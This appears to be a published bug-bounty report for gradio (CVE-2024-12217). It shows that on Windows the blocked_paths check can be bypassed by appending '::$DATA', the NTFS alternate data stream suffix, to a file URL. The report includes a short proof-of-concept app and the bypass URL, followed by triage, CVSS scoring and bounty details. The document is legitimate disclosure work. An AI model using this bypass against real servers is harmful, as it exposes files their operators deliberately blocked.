

blocked_path implementation flawed on windows OS, lead to blocked file read. in gradio-app/gradio

✓ Valid

Reported on Oct 10th 2024

Description

gradio have the functionality of blocked_path, which disallow user from reading certain file. But the implementation of it is flawed on windows os.

Proof of Concept

- Say we have a sample gradio application, which allows read the file folder `c:/tmp`, but disallow `c:/tmp/secret.txt`. Make sure that the folder and file exists.

```
import gradio as gr

def echo(text):
    return text

interface = gr.Interface(
    fn=echo,
    inputs="text",
    outputs="text"
)

if __name__ == "__main__":
    interface.launch(allowed_paths=["C:/tmp"], blocked_paths=["C:/tmp/secret.txt"])
```

- While accessing `http://127.0.0.1:7860/file=c:/tmp/secret.txt` gives back `{"detail": "File not allowed: c:/tmp/secret.txt."}`, accessing `http://127.0.0.1:7860/file=c:/tmp/secret.txt::$DATA` gives back the full file content. This is called NTFS ADS feature of windows.

Impact

read of blocked file path on windows os

Occurrences



utils.py L1061-L1074

⚙️ We are processing your report and will contact the **gradio-app/gradio** team within 24 hours. a year ago

⚙️ This report has now been passed to internal triage and should be resolved within 14 days. a year ago



✎️ **Ethan Silvas** modified the Severity from High (7.5) to Medium (5.3) a year ago

★ The researcher has received a minor penalty to their credibility for miscalculating the severity: -1



Ethan Silvas validated this vulnerability a year ago

Marking valid since this is a workaround for explicit file blocking. Setting confidentiality to low since it can't be used to read any arbitrary file.

\$ **oicu0619** has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7



CVE-2024-12217 assigned to this report. a year ago

⚠️ We have sent a warning to the **gradio-app/gradio** team to inform them that this report will be published in 48 hours a year ago

✉️ We have notified the **gradio-app/gradio** maintainers about this report in their weekly follow-up a year ago



This vulnerability has now been published a year ago



CVE-2024-12217 has now been published 10 months ago

[Sign in](#) to join this conversation

CVE

CVE-2024-12217

Published

Vulnerability Type

CWE-22: Path Traversal

Severity

Medium (5.3)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	Low
Integrity	None
Availability	None

[Open in visual CVSS calculator](#)

Registry

Pypi

Affected Version

git 67e4044

Visibility

Public

Status

Awaiting fix

Disclosure Bounty

\$125 to \$150

Fix Bounty

\$31.25

Found by



oicu0619

@oicu0619

LIGHTWEIGHT



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.

